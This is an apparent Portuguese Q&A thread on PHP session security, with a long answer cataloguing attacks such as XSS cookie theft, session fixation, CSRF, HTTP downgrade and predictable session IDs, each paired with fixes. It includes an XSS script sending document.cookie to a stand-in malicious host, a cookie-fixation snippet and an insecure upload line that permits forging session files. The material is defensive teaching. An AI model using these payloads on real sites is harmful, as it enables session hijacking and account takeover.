5

Estou fazendo a tela de login, onde ao logar com sucesso, seja armazenado um valor na $_SESSION['login'].

Opões administrativas serão abertas somente de existir essa sessão.

Minha pergunta, isso é seguro? Caso não seja, qual a forma correta de fazer isso?

Obrigado.

3
  • Na verdade não existe problemas de segurança ao determinar um valor LOGIN na session. Tome tento as suas configurações, classes e procure utilizar PDO. Commented 24/07/2017 às 19:11
  • 1
    Isso deve ser alguma duplicada. "Seguro" é muito abrangente. Por exemplo posso dizer que ele é inseguro porque se alguém obter o valor do cookie PHPSESSID, ele terá como acessar sua conta, sem fazer com qualquer login. Dai vem a outra questão, como ele pode fazer isso, qual a possibilidade disso, como pode literalmente evitar isso... Se alguém tiver acesso a pasta /tmp/, que é onde os arquivos são salvos, no modo padrão, poderá ter acesso ao conteúdo e editar os valores.... Existem várias maneiras de considerar o método de sessão inseguro.
    – Inkeliz
    Commented 24/07/2017 às 20:52
  • @RafaelRotiroti discordo, a questão de segurança não é um problema na API e sim como uso, ou seja pode não existir problema como pode existir, depende de como o programador usou.
    – Syzoth
    Commented 25/07/2017 às 18:28

1 Resposta 1

12

Existem vários ataques possíveis com as sessões, irei apenas considerar as sessões padrões do PHP e com poucas variações.

O sistema de sessão do PHP é bem simples, ele salva um arquivo na pasta /tmp/ com o nome da sessão. Quando você entra na página você recebe um cookie PHPSESSID=123 e ele cria um arquivo sess_123. Então quando o cliente acessa o site ele procura pelo arquivo sess_{Valor Do Cookie}.


Resumo:

  1. O cliente possui extensões, plugins, softwares maliciosos instalados que podem obter os cookies diretamente. Uma outra situação cliente acessou um página do seu site que estava com um código malicioso injetado ou ele mesmo injetou um código no console para tal.

  2. A conexão está sendo monitorada/interceptada por um terceiro ou a conexão foi apontada para um servidor fora do seu controle.

  3. O servidor está gerando sessões previsíveis, o valor do PHPSESSID é gerado de maneira insegura permitindo que alguém consiga saber o próximo valor ou é pouco aleatório. Um outro ponto é se alguém conseguir acessos aos arquivos no /tmp/.


Agora precisa saber o que é "insignificante". Por exemplo, se alguém conseguir acesso ao SSH do servidor ele terá como alterar os arquivos de sessão, isso é óbvio. Porém, ele provavelmente também vai conseguir ler/alterar outros arquivos, mais importantes, o que torna o problema das sessões insignificante esta situação.

Entretanto considere que você faça algo do tipo:

rename($_FILES["UPLOAD"]["tmp_name"], '../tmp/' .  basename(realpath($_POST['NOME'])));

É a mesma coisa, você permite que alguém altere os arquivos da pasta temporária. Se alguém enviar um arquivo contendo login|i:10; e como nome definir sess_abc. Então bastaria mudar o cookie para abc e isso faria o PHP ler a sessão contendo o $_SESSION['login'] com valor de 10.

É impossível eu dizer "é inseguro" ou "é seguro" baseado apenas numa linha de código, essa linha faz parte de todo um conjunto, que pode estar completamente quebrado.


Principais problemas:

Cliente:

Roubo de cookie via XSS e Self-XSS:

Se você não trata a saída de texto (usando htmlentities por exemplo), é possível que alguém envie um texto contendo:

<script>$.post('http://site-do-mal.com', { cookie: document.cookie } );</script>

Isso fará com que quando a pessoa acessar a página vai enviar um requisição para uma pessoa maliciosa que vai obter os cookies do usuário.

Correção:

  1. Sempre use htmlentities (ou equivalentes) corretamente na saída do texto.
  2. Adicione a flag HTTP-Only no cookie:

     session.cookie_httponly = 1
    
  3. Adicione o cabeçalho de X-XSS-Protection.
  4. Adicione o cabeçalho de Content-Security-Policy (CSP).

Se estiver usando qualquer versão ainda suportada (PHP 5.6, 7.0 e 7.1) o session.use_only_cookies é habilitado por padrão, se não está usando essas versões creio que segurança não é uma prioridade.

Definição de cookie via XSS e afins:

Alguns sites costumam apenas utilizar cookies para algumas partes do site e isso permite que alguém possa fazer um Session Fixation de maneira mais fácil. Por exemplo o atacante entra no seu site normalmente e recebe um cookie PHPSESSID=DEADBEEFFEED, nada de errado até aí. Então ele passa a vitima o cookie DEADBEEFFEED, por exemplo usando uma vulnerabilidade de XSS:

<script>document.cookie = "PHPSESSID=DEADBEEFFEED";</script>

Quando o usuário for entrar em /login o site vai entender que este cookie já foi criado (porque o atacante entrou na página e recebeu este cookie, portanto ele foi legitimamente criado). A vitima faz o login e então o atacante conseguirá acessar a conta do usuário, porque já sabe qual o cookie a vitima utilizou.

Correção:

  1. Limite os cookies por IP:

     if($_SESSION['Seguranca']['IP'] !== $_SERVER['REMOTE_ADDR']){
         mata_esse_cookie_que_deu_ruim();
     }
    

Neste caso quando o atacante gerar o IP será registrado que ele gerou, quando a vitima acessar o IP não será no mesmo IP. Embora seja possível fraudar o REMOTE_ADDR não é possível receber a resposta da requisição.

Isso pode ser ruim para o usuário, principalmente em internet móveis ou que estejam usando TOR. Isso não protege se a vitima e o atacante estiverem usando o mesmo IP, por exemplo se estiverem usando um Wi-Fi público ou devido ao CGNAT.

  1. Crie rotações de cookie:

     if ($_SESSION['Seguranca']['Tempo'] < time() - 300) {
       session_regenerate_id(true);
       $_SESSION['Seguranca']['Tempo'] = time();
     }
    

Isso fará com que o atacante terá pouco tempo para conseguir utilizar o cookie, porque mudará a cada 5 minutos e o antigo deixará de funcionar.

Uso de cookie via CSRF:

Na maioria dos casos não é possível obter as sessões utilizadas pelo usuário, porém pode ser que algum website consiga enviar uma requisição para o seu site utilizando os cookies do usuário. Isso permitiria que o outro site xecute ações que não foram autorizadas pelo usuário. Para fazer o meu Jabá, o portal "E-Cidadnia" era vulnerável a isso, agora foi corrigido.

Correção:

  1. Adicione um CSRF-Token seguro e compare de maneira segura.
  2. Adicione a flag Same-site no cookie, não suportado nativamente.

Malwares e afins:

Acredito que seja insignificante, está fora do seu alcance.

Confiança em CA não-seguro:

Algumas vezes os usuários podem estar usando um navegador ou sistema operacional desatualizado e que ainda considera como seguro algumas autoridades emissoras de certificados. O próprio GitHub notificou dizendo que a WoSign emitiu um certificado para o seu domínio, que não foram eles, isso está explicado aqui.

Embora seja difícil nestes casos, é possível que alguém consiga emitir um certificado e desvie o cliente para tal servidor, nenhum "certificado invalido" será mostrado e este poderá obter os cookies dos usuários.

Correção:

  1. Adicione o cabeçalho de public-key-pins (HPKP).

Comunicação:

HTTP/Texto-claro:

Se você usa HTTP (não HTTPS) o seu site pode ser considerado inseguro por padrão. Todos os dados transmitidos são em texto-claro e qualquer um pode obter os cabeçalhos do cookie.

Correção:

  1. Use HTTPS.

Downgrade para HTTP:

Muitas pessoas tendem a achar que "redirecionar para HTTPS" é seguro. Se você redireciona significa que a requisição já foi enviada usando HTTP. Se o usuário entra em http://site.com e depois você redireciona para https://site.com os cookies já foram enviados na primeira requisição.

Correção:

  1. Adicione o cabeçalho de Strict-Transport-Security (STS).
  2. Adicione a flag Secure no cookie: session.cookie_secure = 1

DNS abandonados:

É comum que terceirize alguns serviços, adicionando por exemplo ajuda.site.com apontado para um Zendesk ou um promocao.site.com apontado para um Survey Monkey. Depois de um tempo você decide cancelar tal subdomínio, porém ele ainda fica apontado no DNS.

Essa situação permite que alguém se cadastre no Zendesk, por exemplo, e diga que é titular do ajuda.site.com e como está apontado corretamente ele poderá permitir o usuário a ter controle do domínio e por isso tal pessoa poderá obter os cookies da sessão.

Correção:

  1. Remova os DNS apontados para o além.
  2. Restrinja os cookies para apenas um seu domínio:

     session.cookie_domain = "www.site.com"
    

MiTM em geral:

Acredito que as correções acima também resolvem teste problema nos casos gerais. Se o alguém estiver agindo como um "proxy" na rede e vendo todo o tráfego é importante que tal pessoa não consiga obter as informações dos cookies, caso contrário ela poderá acessar a conta de outra pessoa.

Correção:

  1. Use HTTPS.
  2. Adicione o cabeçalho STS.
  3. Adicione o cabeçalho HPKP.
  4. Adicione o DNSSEC no domínio.

Servidor:

Gerador de número inseguro:

Esse é um caso complicado por que a solução depende da versão (<= PHP 7.0 ou >= PHP 7.1) e também depende do ambiente que está. Porém, se você utiliza um gerador de número não-seguro poderá fazer com que o cookies sejam gerados de maneira previsível, por exemplo se utilizar um mt_rand() para gerar o valor do PHPSESSID pode ter certeza de que depois de N valores ele vai repetir na mesma ordem, assim já sabemos qual o próximo valor. O PHP por padrão usa o /dev/random que alguns não consideram tão seguro, devido a necessidade de re-seed ele pode acabar ficando mais previsível do que o /dev/urandom ou simplesmente pode para de funcionar.

Correção <= PHP 7.0:

session.entropy_length = 48
session.entropy_file = /dev/urandom
session.hash_function = sha256
session.hash_bits_per_character = 5

Você terá 48 bytes de um gerador minimamente mais seguro e utilizará o SHA256, que possui maior variação do que MD5, usado por padrão. Infelizmente não tem suporte para o Blake2.

Correção >= PHP 7.1:

session.sid_length = 48
session.sid_bits_per_character=5

Essa versão já usa um CSPRNG. Porém o PHP prefere da "compatibilidade" do que segurança, por isso preferiu manter com 32 bytes ou invés de 48 bytes que é mais seguro para casos gerais. Quanto maior tal número mais difícil de colidir.

Impeça acesso a pasta /tmp:

Como exemplo mencionado lá em cima, não permita que ninguém possa alterar a pasta onde estão armazenadas as sessões. Em casos gerais quando este problema existe seus problemas são bem maiores, então acredito que seja insignificante na maioria dos casos, apenas tome muito cuidado com uploads, leitura, edições de arquivos.

Ambiente inseguro e afins:

Se o seu servidor, desde de o sistema operacional até a versão do PHP está desatualizada ou é compartilhado com vários outros websites de diversos tipos, isso logicamente pode tornar as sessões mais inseguras, mas novamente isso não afeta apenas os sistemas de sessões.


Utilize o nome de PHPSESSID e /tmp/ por serem padrões, mas ambos podem ser modificados no PHP. Não há como listar todos os tipos de ataques, por dois motivos, o primeiro que ficaria extremamente longo e o segundo que não sou competente o suficiente para saber de todos os ataques que existem.

Attacks always get better; they never get worse.

2
  • Como sempre mais que exemplar !!! +1
    – user77310
    Commented 25/07/2017 às 18:20
  • Acho excelente criar uma resposta tão detalhada, acho chato responder coisas repetitivas e espalhar o conteudo em vários locais, claro que fechar como dup ajuda, mas é um ou 2 usuários para fechar contra 10 usuários respondendo coisas que já foram perguntadas pelo menos uma vez. Não estou critica a resposta, acho que foi excelente, mas usar o voto de fechamento é o minimo que se espera de TODOS participantes. Eu já bati nessa "mesma tecla" uma duzia de vezes, mas eu não sei o que ocorre com a comunidade, isso desanima.
    – Syzoth
    Commented 25/07/2017 às 18:27

Esta não é a resposta que você está procurando? Pesquise outras perguntas com a tag .